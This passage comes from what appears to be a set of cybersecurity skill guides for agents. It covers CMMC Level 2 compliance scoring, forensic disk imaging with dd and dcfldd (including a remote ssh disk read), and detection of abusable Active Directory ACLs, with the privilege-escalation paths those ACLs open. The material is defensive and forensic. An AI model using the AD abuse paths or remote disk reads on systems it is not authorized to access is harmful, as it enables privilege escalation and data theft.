Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.\ndomain: cybersecurity\nsubdomain: compliance-governance\ntags:\n- cmmc\n- nist-800-171\n- cui\n- sprs\n- dfars\n- c3pao\n- poam\n- compliance\n- governance\n- defense-industrial-base\nversion: \"1.0\"\nauthor: andrewibrah\nlicense: Apache-2.0\nnist_csf:\n- GV.OC-03\n- GV.SC-01\n- ID.AM-08\n- ID.RA-05\n- PR.AA-01\n- PR.DS-01\nmitre_attack:\n- T1078\n- T1190\n- T1041\n- T1048\n- T1567\n---\n\n# Achieving CMMC Level 2 Compliance\n\n## When to Use\n\n- When an organization in the **Defense Industrial Base (DIB)** stores, processes, or transmits **Controlled Unclassified Information (CUI)** under a DoD contract.\n- When a contract includes **DFARS 252.204-7012** (safeguarding/incident reporting), **-7019/-7020** (NIST 800-171 self-assessment + SPRS), or the new **-7021** (CMMC requirement).\n- When preparing for a **C3PAO** third-party assessment or a DoD-led assessment.\n- When you must **compute, post, or improve an SPRS score** based on the NIST SP 800-171 DoD Assessment Methodology.\n- When authoring or remediating a **System Security Plan (SSP)** and **POA&M** for the 110 requirements.\n- When **scoping** which assets fall inside the CUI/FCI boundary (CUI assets, security-protection assets, contractor risk-managed assets, out-of-scope).\n\n## Prerequisites\n\n- Knowledge of **which contracts carry CUI** and the CUI categories involved (check the contract and the DoD CUI Registry).\n- An asset inventory and network diagram so you can define the **CMMC assessment scope** before assessing controls.\n- The **NIST SP 800-171 Rev 2** requirements and the **DoD Assessment Methodology** scoring weights.\n- A documented **SSP** (its absence is itself a failed requirement — 3.12.4).\n- Identification of any **External Service Providers (ESPs)** / cloud services touching CUI, and whether they meet **FedRAMP Moderate (or equivalency)**.\n\n## Workflow\n\n### 1. Determine applicability and CUI categories\nConfirm the contract requires CMMC Level 2 (CUI present, not just FCI). FCI-only contracts are **Level 1** (the 15 FAR 52.204-21 requirements). Identify CUI categories from the contract and the DoD CUI Registry.\n\n### 2. Scope the environment\nClassify every asset into one of the CMMC scoping categories:\n- **CUI Assets** — process/store/transmit CUI (in scope, assessed against all applicable controls).\n- **Security Protection Assets** — provide security to the CUI environment (in scope).\n- **Contractor Risk Managed Assets** — could but are not intended to handle CUI; managed by policy.\n- **Specialized Assets** (IoT/OT, GFE, test equipment) — documented, limited assessment.\n- **Out-of-Scope** — physically/logically isolated from CUI.\n\nMinimize scope deliberately — a smaller, well-segmented CUI enclave is far cheaper to certify than a flat network.\n\n### 3. Implement the 110 requirements (NIST SP 800-171 Rev 2)\nWork the **14 families** (3.1–3.14). For each requirement, implement, then write the **how** in the SSP. High-leverage early wins: MFA (3.5.3), FIPS-validated cryptography (3.13.11), audit logging (3.3.x), access control + least privilege (3.1.x), and incident response (3.6.x).\n\n### 4. Score with the DoD Assessment Methodology (SPRS)\nStart at **110** and subtract the weighted value (**1, 3, or 5 points**) of each **unmet** requirement; partial credit applies to a small number of controls (e.g., MFA, FIPS crypto). The result is the **SPRS score** (maximum 110; the methodology floor is −203). Post the score, the SSP date, and the assessment scope to **SPRS** (or eMASS for higher assessments).\n\n### 5. Build a compliant POA&M\nDocument every unmet requirement with owner, remediation, and milestone. **Constraints under the CMMC rule:** a **Conditional** status requires a score of at least **80%** (≥ 88 of 110), only **POA&M-eligible** requirements may be deferred (the highest-weighted security requirements must be fully met — verify eligibility against 32 CFR Part 170), and all POA&M items must be **closed within 180 days** to convert Conditional → **Final**.\n\n### 6. Assess (self or C3PAO)\n- **Level 1** and a subset of Level 2 = annual **self-assessment** with an affirmation in SPRS.\n- **Level 2 (most CUI contracts)** = triennial **C3PAO** certification assessment.\n- **Level 3** = DoD (DIBCAC) assessment on top of Level 2, adding SP 800-172 enhanced requirements.\nAssessors evaluate each objective as **MET / NOT MET / N/A** with evidence (examine/interview/test). A senior official files the **annual affirmation** of continued compliance.\n\n### 7. Maintain certification\nCertification is valid **three years** with **annual affirmations**. Maintain the SSP, re-score on change, keep evidence current, and feed significant changes back into the assessment.\n\n## Key Concepts\n\n| Concept | Definition |\n|---|---|\n| FCI | Federal Contract Information — Level 1 protects it (FAR 52.204-21). |\n| CUI | Controlled Unclassified Information — Level 2 protects it (NIST 800-171). |\n| 110 requirements | The SP 800-171 Rev 2 security requirements across 14 families. |\n| SPRS | Supplier Performance Risk System — where the 800-171 score is posted. |\n| DoD Assessment Methodology | The 1/3/5-point weighting used to compute the score from 110. |\n| C3PAO | CMMC Third-Party Assessment Organization — performs Level 2 certification. |\n| POA&M | Plan of Action & Milestones — limited, must close in 180 days for Final status. |\n| Conditional vs Final | Conditional = open POA&M (score ≥ 80%); Final = all controls met. |\n| ESP | External Service Provider — must meet FedRAMP Moderate / equivalency for CUI. |\n| Scoping categories | CUI / Security Protection / Contractor Risk Managed / Specialized / Out-of-Scope. |\n\n## Tools & Systems\n\n- **NIST SP 800-171 Rev 2** — the 110 requirements (and 800-171A for assessment objectives).\n- **DoD NIST SP 800-171 Assessment Methodology** — the scoring weights.\n- **32 CFR Part 170** (CMMC Program rule) and **48 CFR / DFARS 252.204-7021** (acquisition rule).\n- **SPRS** — score posting; **SAM.gov** for registration.\n- **SP 800-172 / 800-172A** — enhanced requirements for Level 3.\n- **GRC / compliance tooling** — to manage the SSP, POA&M, and evidence (e.g., Xacta, RegScale, FutureFeed-style trackers).\n\n## Common Scenarios\n\n- **Prime flows CUI to a sub.** The sub needs its own Level 2 scope, SSP, SPRS score, and (most likely) C3PAO certification.\n- **Score is below 88.** Prioritize the highest-weighted unmet requirements (5-point, then 3-point) to clear the conditional threshold and shrink the POA&M.\n- **Cloud holds CUI.** Confirm the service is FedRAMP Moderate authorized or meets equivalency; document the responsibility split.\n- **Flat network.** Re-scope into a segmented CUI enclave to cut the assessment surface before spending on controls.\n- **Annual affirmation due.** A senior official affirms continued compliance in SPRS; let it lapse and you risk contract eligibility.\n\n## Output Format\n\nProduce a **CMMC Level 2 Readiness Report** using `assets/template.md`, containing:\n\n1. **Applicability & CUI categories** — why Level 2 applies.\n2. **Scope** — assets by scoping category and the CUI boundary diagram reference.\n3. **Control status by family** — met / not met / N/A across the 14 families.\n4. **SPRS score** — computed score, deductions, and the gap to 110 and to the 88 threshold.\n5. **POA&M** — unmet requirements, eligibility check, owners, 180-day milestones.\n6. **Assessment path** — self vs C3PAO, target date, affirmation owner.\n7. **Remediation roadmap** — sequenced by point value and effort.\n\nUse `scripts/process.py` to compute the SPRS score from a control-status JSON, flag POA&M-eligibility concerns, and report the gap to the conditional-certification threshold.\n","skills/achieving-cmmc-level-2-compliance/assets/template.md":"# CMMC Level 2 Readiness Report — Worked Example\n\n> Filled example for a small DIB manufacturer handling CUI on a segmented enclave.\n> Replace bracketed content for your own organization.\n\n## 1. Applicability & CUI Categories\n- **Contract drivers:** Prime subcontract with DFARS **252.204-7012** and **-7021**; CUI present → **CMMC Level 2** required.\n- **CUI categories (from contract + DoD CUI Registry):** Controlled Technical Information (CTI), Export Controlled (EAR).\n- **Target assessment path:** Triennial **C3PAO** certification (Phase 2 applies from Nov 10, 2026).\n\n## 2. Scope (CMMC Level 2 Scoping Guide)\n| Category | Examples in this environment |\n|---|---|\n| CUI Assets | Engineering workstations, CUI file share, the segmented \"Enclave-1\" VLAN |\n| Security Protection Assets | EDR console, SIEM, firewall, IdP/MFA, jump host |\n| Contractor Risk Managed | General corporate laptops (policy-blocked from CUI) |\n| Specialized Assets | CNC machine controllers (documented, isolated) |\n| Out-of-Scope | Guest Wi-Fi, marketing SaaS |\n\n**Boundary note:** CUI is confined to Enclave-1 behind segmentation and MFA. Deliberately minimized to shrink the assessment surface. See network diagram `CUI-boundary-v3`.\n\n## 3. Control Status by Family (NIST SP 800-171 Rev 2)\n*(summary; full per-requirement status lives in the SSP)*\n\n| Family | Met | Partial | Not Met | N/A |\n|---|---|---|---|---|\n| 3.1 Access Control | 22 | 0 | 0 | 0 |\n| 3.3 Audit & Accountability | 8 | 0 | 1 | 0 |\n| 3.5 Identification & Auth | 10 | 1 | 0 | 0 |\n| 3.8 Media Protection | 8 | 0 | 1 | 0 |\n| 3.13 System & Comms Protection | 15 | 0 | 1 | 0 |\n| 3.14 System & Info Integrity | 6 | 0 | 1 | 0 |\n| *(others)* | all met | — | — | — |\n\n## 4. SPRS Score\n*(computed by `scripts/process.py` from the control-status JSON)*\n\n- **Score: 97 / 110** (started at 110; deducted 13).\n- **Gap to perfect:** 13 points across 4 not-met + 1 partial requirement.\n- **Conditional threshold (≥ 88):** **MET** (margin 9) — eligible for Conditional status *if* the remaining items are POA&M-eligible.\n- **Posted to SPRS:** score, SSP date, and assessment scope.\n\n## 5. POA&M (eligibility-checked)\n| ID | Requirement | Points | Eligibility | Remediation | Owner | Milestone (≤180d) |\n|---|---|---|---|---|---|---|\n| 3.3.1 | Audit log generation/coverage | 5 | **Verify** — high weight; confirm against 32 CFR 170 | Enable full audit policy + ship to SIEM | SecOps | 2026-07-30 |\n| 3.13.11 | FIPS-validated cryptography | 3 | **Verify** eligibility | Replace non-validated module with FIPS 140-validated | Infra | 2026-08-15 |\n| 3.5.3 | MFA (partial) | 3 | Partial-credit control | Extend MFA to remaining admin paths | IAM | 2026-07-20 |\n| 3.8.9 | Backup CUI protection | 1 | Eligible | Encrypt + access-control backup store | Infra | 2026-08-31 |\n| 3.14.1 | Flaw remediation | 1 | Eligible | Formalize patch SLA + tracking | IT | 2026-08-31 |\n\n> The two 3-point and one 5-point items must clear eligibility review; the highest-weighted security requirements generally cannot remain on a POA&M. All items close within **180 days** to convert Conditional → **Final**.\n\n## 6. Assessment Path\n- **Type:** C3PAO certification assessment.\n- **Target window:** Q4 2026, after POA&M closure of the high-weight items.\n- **Affirmation owner:** [senior official] files the annual affirmation in SPRS.\n\n## 7. Remediation Roadmap (sequenced by point value, then effort)\n1. **3.3.1 audit logging (5 pts)** — biggest score lever and likely POA&M-ineligible → do first.\n2. **3.13.11 FIPS crypto (3 pts)** and **3.5.3 MFA gap (3 pts)** — close to remove eligibility risk.\n3. **3.8.9, 3.14.1 (1 pt each)** — low-effort cleanups before the C3PAO date.\n4. Re-run the SPRS calculator after each closure; goal is **110** before assessment.\n","skills/achieving-cmmc-level-2-compliance/references/standards.md":"# CMMC Level 2 — Standards & Reference\n\n## Governing rules\n| Rule | Citation | Status / effective date |\n|---|---|---|\n| CMMC Program rule | 32 CFR Part 170 | Effective **December 16, 2024** |\n| CMMC acquisition rule (DFARS) | 48 CFR; DFARS clause **252.204-7021** (and 204.7503) | Published Sept 10, 2025; effective **November 10, 2025** |\n| Safeguarding CUI / incident reporting | DFARS **252.204-7012** | In effect |\n| NIST 800-171 self-assessment + SPRS posting | DFARS **252.204-7019 / -7020** | In effect |\n\n> Always confirm current status at the source — acquisition rules and phase dates have moved before. Authoritative: https://dodcio.defense.gov/CMMC/ and the eCFR for 32 CFR Part 170.\n\n## Phased rollout (per the acquisition rule)\n| Phase | Begins | What applies |\n|---|---|---|\n| Phase 1 | **Nov 10, 2025** | Level 1 and some Level 2 **self-assessment** required in solicitations |\n| Phase 2 | **Nov 10, 2026** | Level 2 **C3PAO certification** required for applicable contracts |\n| Phase 3 | **Nov 10, 2027** | Level 2 C3PAO + Level 3 **DIBCAC** assessment phased in |\n| Phase 4 | **Nov 10, 2028** | Full implementation across applicable DoD contracts |\n\n## The three CMMC levels\n| Level | Protects | Requirements | Assessment |\n|---|---|---|---|\n| Level 1 | FCI | 15 requirements (FAR 52.204-21) | Annual self-assessment + affirmation |\n| Level 2 | CUI | **110 requirements (NIST SP 800-171 Rev 2)** | Self **or** triennial C3PAO certification |\n| Level 3 | CUI (high priority) | 110 + selected **SP 800-172** enhanced | DoD (DIBCAC) assessment |\n\nCertification validity: **3 years**, with **annual affirmation** by a senior official in SPRS.\n\n## NIST SP 800-171 Rev 2 — the 14 families (110 requirements)\n| § | Family | # reqs |\n|---|---|---|\n| 3.1 | Access Control | 22 |\n| 3.2 | Awareness and Training | 3 |\n| 3.3 | Audit and Accountability | 9 |\n| 3.4 | Configuration Management | 9 |\n| 3.5 | Identification and Authentication | 11 |\n| 3.6 | Incident Response | 3 |\n| 3.7 | Maintenance | 6 |\n| 3.8 | Media Protection | 9 |\n| 3.9 | Personnel Security | 2 |\n| 3.10 | Physical Protection | 6 |\n| 3.11 | Risk Assessment | 3 |\n| 3.12 | Security Assessment | 4 |\n| 3.13 | System and Communications Protection | 16 |\n| 3.14 | System and Information Integrity | 7 |\n| | **Total** | **110** |\n\n(Assessment objectives for each requirement are in **NIST SP 800-171A**.)\n\n## DoD Assessment Methodology — SPRS scoring\n- Start at **110**. Subtract the weighted value of each **NOT MET** requirement.\n- Weights: **1, 3, or 5 points**. The most security-significant requirements are weighted 3 or 5.\n- **Partial credit** applies to a small number of requirements (notably MFA at 3.5.3 and FIPS-validated cryptography at 3.13.11) where partial implementation reduces the deduction.\n- Maximum score **110**; the methodology floor is **−203** (more is deducted than the 110 starting points because of the weighting).\n- The complete per-requirement point assignment is published in the **DoD NIST SP 800-171 Assessment Methodology** — use that document for the authoritative weight of each control rather than estimating.\n\n## POA&M rules under the CMMC rule (32 CFR Part 170)\n- A **Conditional** Level 2 status is allowed only if the assessment score is **at least 80% (≥ 88 of 110)**.\n- Only **POA&M-eligible** requirements may be deferred. The highest-weighted security requirements generally **must be fully met** and **cannot** sit on a POA&M — verify each item's eligibility against the rule.\n- All POA&M items must be **closed within 180 days**; a closeout assessment then converts **Conditional → Final**.\n\n## Scoping categories (CMMC Level 2 Scoping Guide)\n| Category | Treatment |\n|---|---|\n| CUI Assets | Process/store/transmit CUI — assessed against applicable requirements. |\n| Security Protection Assets | Provide security to the CUI environment — in scope. |\n| Contractor Risk Managed Assets | Capable of handling CUI but not intended to — managed by policy/config. |\n| Specialized Assets | IoT/OT, GFE, test equipment — documented, limited assessment. |\n| Out-of-Scope Assets | Isolated from CUI — not assessed. |\n\n## External Service Providers / cloud\n- Cloud services that store/process/transmit CUI must be **FedRAMP Moderate authorized or meet FedRAMP Moderate equivalency**.\n- Document the customer/provider responsibility split (CRM) and inherited controls in the SSP.\n\n## NIST CSF 2.0 alignment\n| CSF 2.0 ID | Relevance |\n|---|---|\n| GV.OC-03 | Legal/regulatory (DFARS/CMMC) requirements understood. |\n| GV.SC-01 | Supply-chain risk management — flowdown to subs / ESPs. |\n| ID.AM-08 | Assets managed across the lifecycle (scoping). |\n| ID.RA-05 | Risk informs prioritization of unmet requirements. |\n| PR.AA-01 | Identity and access (3.1 / 3.5 families). |\n| PR.DS-01 | Data-at-rest protection (FIPS crypto, media protection). |\n","skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md":"---\nname: acquiring-disk-image-with-dd-and-dcfldd\ndescription: Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.\ndomain: cybersecurity\nsubdomain: digital-forensics\ntags:\n- forensics\n- disk-imaging\n- evidence-acquisition\n- dd\n- dcfldd\n- hash-verification\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- RS.AN-03\n- DE.AE-02\n- RS.MA-01\nmitre_attack:\n- T1006\n- T1005\n- T1025\n- T1074.001\n---\n\n# Acquiring Disk Image with dd and dcfldd\n\n## When to Use\n- When you need to create a forensic copy of a suspect drive for investigation\n- During incident response when preserving volatile disk evidence before analysis\n- When law enforcement or legal proceedings require a verified bit-for-bit copy\n- Before performing any destructive analysis on a storage device\n- When acquiring images from physical drives, USB devices, or memory cards\n\n## Prerequisites\n- Linux-based forensic workstation (SIFT, Kali, or any Linux distro)\n- `dd` (pre-installed on all Linux systems) or `dcfldd` (enhanced forensic version)\n- Write-blocker hardware or software write-blocking configured\n- Destination drive with sufficient storage (larger than source)\n- Root/sudo privileges on the forensic workstation\n- SHA-256 or MD5 hashing utilities (`sha256sum`, `md5sum`)\n\n## Workflow\n\n### Step 1: Identify the Target Device and Enable Write Protection\n\n```bash\n# List all connected block devices to identify the target\nlsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL\n\n# Verify the device details\nfdisk -l /dev/sdb\n\n# Enable software write-blocking (if no hardware blocker)\nblockdev --setro /dev/sdb\n\n# Verify read-only status\nblockdev --getro /dev/sdb\n# Output: 1 (means read-only is enabled)\n\n# Alternatively, use udev rules for persistent write-blocking\necho 'SUBSYSTEM==\"block\", ATTRS{serial}==\"WD-WCAV5H861234\", ATTR{ro}=\"1\"' > /etc/udev/rules.d/99-writeblock.rules\nudevadm control --reload-rules\n```\n\n### Step 2: Prepare the Destination and Document the Source\n\n```bash\n# Create case directory structure\nmkdir -p /cases/case-2024-001/{images,hashes,logs,notes}\n\n# Document source drive information\nhdparm -I /dev/sdb > /cases/case-2024-001/notes/source_drive_info.txt\n\n# Record the serial number and model\nsmartctl -i /dev/sdb >> /cases/case-2024-001/notes/source_drive_info.txt\n\n# Pre-hash the source device\nsha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_before.txt\n```\n\n### Step 3: Acquire the Image Using dd\n\n```bash\n# Basic dd acquisition with progress and error handling\ndd if=/dev/sdb of=/cases/case-2024-001/images/evidence.dd \\\n   bs=4096 \\\n   conv=noerror,sync \\\n   status=progress 2>&1 | tee /cases/case-2024-001/logs/dd_acquisition.log\n\n# For compressed images to save space\ndd if=/dev/sdb bs=4096 conv=noerror,sync status=progress | \\\n   gzip -c > /cases/case-2024-001/images/evidence.dd.gz\n\n# Using dd with a specific count for partial acquisition\ndd if=/dev/sdb of=/cases/case-2024-001/images/first_1gb.dd \\\n   bs=1M count=1024 status=progress\n```\n\n### Step 4: Acquire Using dcfldd (Preferred Forensic Method)\n\n```bash\n# Install dcfldd if not present\napt-get install dcfldd\n\n# Acquire image with built-in hashing and split output\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256,md5 \\\n   hashwindow=1G \\\n   hashlog=/cases/case-2024-001/hashes/acquisition_hashes.txt \\\n   bs=4096 \\\n   conv=noerror,sync \\\n   errlog=/cases/case-2024-001/logs/dcfldd_errors.log\n\n# Split large images into manageable segments\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256 \\\n   hashlog=/cases/case-2024-001/hashes/split_hashes.txt \\\n   bs=4096 \\\n   split=2G \\\n   splitformat=aa\n\n# Acquire with verification pass\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256 \\\n   hashlog=/cases/case-2024-001/hashes/verification.txt \\\n   vf=/cases/case-2024-001/images/evidence.dd \\\n   verifylog=/cases/case-2024-001/logs/verify.log\n```\n\n### Step 5: Verify Image Integrity\n\n```bash\n# Hash the acquired image\nsha256sum /cases/case-2024-001/images/evidence.dd | \\\n   tee /cases/case-2024-001/hashes/image_hash.txt\n\n# Compare source and image hashes\ndiff <(sha256sum /dev/sdb | awk '{print $1}') \\\n     <(sha256sum /cases/case-2024-001/images/evidence.dd | awk '{print $1}')\n\n# If using split images, verify each segment\nsha256sum /cases/case-2024-001/images/evidence.dd.* | \\\n   tee /cases/case-2024-001/hashes/split_image_hashes.txt\n\n# Re-hash source to confirm no changes occurred\nsha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_after.txt\ndiff /cases/case-2024-001/hashes/source_hash_before.txt \\\n     /cases/case-2024-001/hashes/source_hash_after.txt\n```\n\n### Step 6: Document the Acquisition Process\n\n```bash\n# Generate acquisition report\ncat << 'EOF' > /cases/case-2024-001/notes/acquisition_report.txt\nDISK IMAGE ACQUISITION REPORT\n==============================\nCase Number: 2024-001\nDate/Time: $(date -u +\"%Y-%m-%d %H:%M:%S UTC\")\nExaminer: [Name]\n\nSource Device: /dev/sdb\nModel: [from hdparm output]\nSerial: [from hdparm output]\nSize: [from fdisk output]\n\nAcquisition Tool: dcfldd v1.9.1\nBlock Size: 4096\nWrite Blocker: [Hardware/Software model]\n\nImage File: evidence.dd\nImage Hash (SHA-256): [from hash file]\nSource Hash (SHA-256): [from hash file]\nHash Match: YES/NO\n\nErrors During Acquisition: [from error log]\nEOF\n\n# Compress logs for archival\ntar -czf /cases/case-2024-001/acquisition_package.tar.gz \\\n   /cases/case-2024-001/hashes/ \\\n   /cases/case-2024-001/logs/ \\\n   /cases/case-2024-001/notes/\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Bit-for-bit copy | Exact replica of source including unallocated space and slack space |\n| Write blocker | Hardware or software mechanism preventing writes to evidence media |\n| Hash verification | Cryptographic hash comparing source and image to prove integrity |\n| Block size (bs) | Transfer chunk size affecting speed; 4096 or 64K typical for forensics |\n| conv=noerror,sync | Continue on read errors and pad with zeros to maintain offset alignment |\n| Chain of custody | Documented trail proving evidence has not been tampered with |\n| Split imaging | Breaking large images into smaller files for storage and transport |\n| Raw/dd format | Bit-for-bit image format without metadata container overhead |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| dd | Standard Unix disk duplication utility for raw imaging |\n| dcfldd | DoD Computer Forensics Laboratory enhanced version of dd with hashing |\n| dc3dd | Another forensic dd variant from the DoD Cyber Crime Center |\n| sha256sum | SHA-256 hash calculation for integrity verification |\n| blockdev | Linux command to set block device read-only mode |\n| hdparm | Drive identification and parameter reporting |\n| smartctl | S.M.A.R.T. data retrieval for drive health and identification |\n| lsblk | Block device enumeration and identification |\n\n## Common Scenarios\n\n**Scenario 1: Acquiring a Suspect Laptop Hard Drive**\nConnect the drive via a Tableau T35u hardware write-blocker, identify as `/dev/sdb`, use dcfldd with SHA-256 hashing, split into 4GB segments for DVD archival, verify hashes match, document in case notes.\n\n**Scenario 2: Imaging a USB Flash Drive from a Compromised Workstation**\nUse software write-blocking with `blockdev --setro`, acquire with dcfldd including MD5 and SHA-256 dual hashing, image is small enough for single file, verify and store on encrypted case drive.\n\n**Scenario 3: Remote Acquisition Over Network**\nUse dd piped through netcat or ssh for remote acquisition: `ssh root@remote \"dd if=/dev/sda bs=4096\" | dd of=remote_image.dd bs=4096`, hash both ends independently to verify transfer integrity.\n\n**Scenario 4: Acquiring from a Failing Drive**\nUse `ddrescue` first to recover readable sectors, then use dd with `conv=noerror,sync` to fill gaps with zeros, document which sectors were unreadable in the error log.\n\n## Output Format\n\n```\nAcquisition Summary:\n  Source:       /dev/sdb (500GB Western Digital WD5000AAKX)\n  Destination:  /cases/case-2024-001/images/evidence.dd\n  Tool:         dcfldd 1.9.1\n  Block Size:   4096 bytes\n  Duration:     2h 15m 32s\n  Bytes Copied: 500,107,862,016\n  Errors:       0 bad sectors\n  Source SHA-256:  a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1\n  Image SHA-256:   a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1\n  Verification:    PASSED - Hashes match\n```\n","skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md":"# API Reference: dd and dcfldd Disk Imaging\n\n## dd - Standard Unix Disk Duplication\n\n### Basic Syntax\n```bash\ndd if=<source> of=<destination> [options]\n```\n\n### Key Options\n| Flag | Description | Example |\n|------|-------------|---------|\n| `if=` | Input file (source device) | `if=/dev/sdb` |\n| `of=` | Output file (destination image) | `of=evidence.dd` |\n| `bs=` | Block size for read/write | `bs=4096` (forensic standard) |\n| `count=` | Number of blocks to copy | `count=1024` |\n| `skip=` | Skip N blocks from input start | `skip=2048` |\n| `conv=` | Conversion options | `conv=noerror,sync` |\n| `status=` | Transfer statistics level | `status=progress` |\n\n### conv= Values\n- `noerror` - Continue on read errors (do not abort)\n- `sync` - Pad input blocks with zeros on error (preserves offset alignment)\n- `notrunc` - Do not truncate output file\n\n### Output Format\n```\n500107862016 bytes (500 GB, 466 GiB) copied, 8132.45 s, 61.5 MB/s\n976773168+0 records in\n976773168+0 records out\n```\n\n## dcfldd - DoD Forensic dd\n\n### Basic Syntax\n```bash\ndcfldd if=<source> of=<destination> [options]\n```\n\n### Extended Options\n| Flag | Description | Example |\n|------|-------------|---------|\n| `hash=` | Hash algorithm(s) | `hash=sha256,md5` |\n| `hashlog=` | File for hash output | `hashlog=hashes.txt` |\n| `hashwindow=` | Hash every N bytes | `hashwindow=1G` |\n| `hashconv=` | Hash before or after conversion | `hashconv=after` |\n| `errlog=` | Error log file | `errlog=errors.log` |\n| `split=` | Split output into chunks | `split=2G` |\n| `splitformat=` | Suffix format for split files | `splitformat=aa` |\n| `vf=` | Verification file | `vf=evidence.dd` |\n| `verifylog=` | Verification result log | `verifylog=verify.log` |\n\n### Output Format\n```\nTotal (sha256): a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5...\n1024+0 records in\n1024+0 records out\n```\n\n## sha256sum - Hash Verification\n\n### Syntax\n```bash\nsha256sum <file_or_device>\nsha256sum -c <checksum_file>\n```\n\n### Output Format\n```\na3f2b8c9d4e5f6...  /dev/sdb\na3f2b8c9d4e5f6...  evidence.dd\n```\n\n## blockdev - Write Protection\n\n### Syntax\n```bash\nblockdev --setro <device>   # Set read-only\nblockdev --setrw <device>   # Set read-write\nblockdev --getro <device>   # Check: 1=RO, 0=RW\nblockdev --getsize64 <device>  # Size in bytes\n```\n\n## lsblk - Block Device Enumeration\n\n### Syntax\n```bash\nlsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL,SERIAL,RO\nlsblk -J   # JSON output\nlsblk -p   # Full device paths\n```\n\n## hdparm - Drive Identification\n\n### Syntax\n```bash\nhdparm -I <device>   # Detailed drive info\nhdparm -i <device>   # Summary identification\n```\n","skills/analyzing-active-directory-acl-abuse/SKILL.md":"---\nname: analyzing-active-directory-acl-abuse\ndescription: Detect dangerous ACL misconfigurations in Active Directory using ldap3\n  to identify GenericAll, WriteDACL, and WriteOwner abuse paths\ndomain: cybersecurity\nsubdomain: identity-security\ntags:\n- active-directory\n- acl-abuse\n- ldap\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-01\n- PR.AA-05\n- PR.AA-06\nmitre_attack:\n- T1098\n- T1098.007\n- T1484.001\n- T1222.001\n- T1078.002\n---\n\n\n# Analyzing Active Directory ACL Abuse\n\n## Overview\n\nActive Directory Access Control Lists (ACLs) define permissions on AD objects through Discretionary Access Control Lists (DACLs) containing Access Control Entries (ACEs). Misconfigured ACEs can grant non-privileged users dangerous permissions such as GenericAll (full control), WriteDACL (modify permissions), WriteOwner (take ownership), and GenericWrite (modify attributes) on sensitive objects like Domain Admins groups, domain controllers, or GPOs.\n\nThis skill uses the ldap3 Python library to connect to a Domain Controller, query objects with their nTSecurityDescriptor attribute, parse the binary security descriptor into SDDL (Security Descriptor Definition Language) format, and identify ACEs that grant dangerous permissions to non-administrative principals. These misconfigurations are the basis for ACL-based attack paths discovered by tools like BloodHound.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing active directory acl abuse\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9 or later with ldap3 library (`pip install ldap3`)\n- Domain user credentials with read access to AD objects\n- Network connectivity to Domain Controller on port 389 (LDAP) or 636 (LDAPS)\n- Understanding of Active Directory security model and SDDL format\n\n## Steps\n\n1. **Connect to Domain Controller**: Establish an LDAP connection using ldap3 with NTLM or simple authentication. Use LDAPS (port 636) for encrypted connections in production.\n\n2. **Query target objects**: Search the target OU or entire domain for objects including users, groups, computers, and OUs. Request the `nTSecurityDescriptor`, `distinguishedName`, `objectClass`, and `sAMAccountName` attributes.\n\n3. **Parse security descriptors**: Convert the binary nTSecurityDescriptor into its SDDL string representation. Parse each ACE in the DACL to extract the trustee SID, access mask, and ACE type (allow/deny).\n\n4. **Resolve SIDs to principals**: Map security identifiers (SIDs) to human-readable account names using LDAP lookups against the domain. Identify well-known SIDs for built-in groups.\n\n5. **Check for dangerous permissions**: Compare each ACE's access mask against dangerous permission bitmasks: GenericAll (0x10000000), WriteDACL (0x00040000), WriteOwner (0x00080000), GenericWrite (0x40000000), and WriteProperty for specific extended rights.\n\n6. **Filter non-admin trustees**: Exclude expected administrative trustees (Domain Admins, Enterprise Admins, SYSTEM, Administrators) and flag ACEs where non-privileged users or groups hold dangerous permissions.\n\n7. **Map attack paths**: For each finding, document the potential attack chain (e.g., GenericAll on user allows password reset, WriteDACL on group allows adding self to group).\n\n8. **Generate remediation report**: Output a JSON report with all dangerous ACEs, affected objects, non-admin trustees, and recommended remediation steps.\n\n## Expected Output\n\n```json\n{\n  \"domain\": \"corp.example.com\",\n  \"objects_scanned\": 1247,\n  \"dangerous_aces_found\": 8,\n  \"findings\": [\n    {\n      \"severity\": \"critical\",\n      \"target_object\": \"CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com\",\n      \"target_type\": \"group\",\n      \"trustee\": \"CORP\\\\helpdesk-team\",\n      \"permission\": \"GenericAll\",\n      \"access_mask\": \"0x10000000\",\n      \"ace_type\": \"ACCESS_ALLOWED\",\n      \"attack_path\": \"GenericAll on Domain Admins group allows adding arbitrary members\",\n      \"remediation\": \"Remove GenericAll ACE for helpdesk-team on Domain Admins\"\n    }\n  ]\n}\n```\n","skills/analyzing-active-directory-acl-abuse/references/api-reference.md":"# Active Directory ACL Abuse API Reference\n\n## ldap3 Python Connection\n\n```python\nfrom ldap3 import Server, Connection, ALL, NTLM, SUBTREE\n\nserver = Server(\"192.168.1.10\", get_info=ALL, use_ssl=False)\nconn = Connection(server, 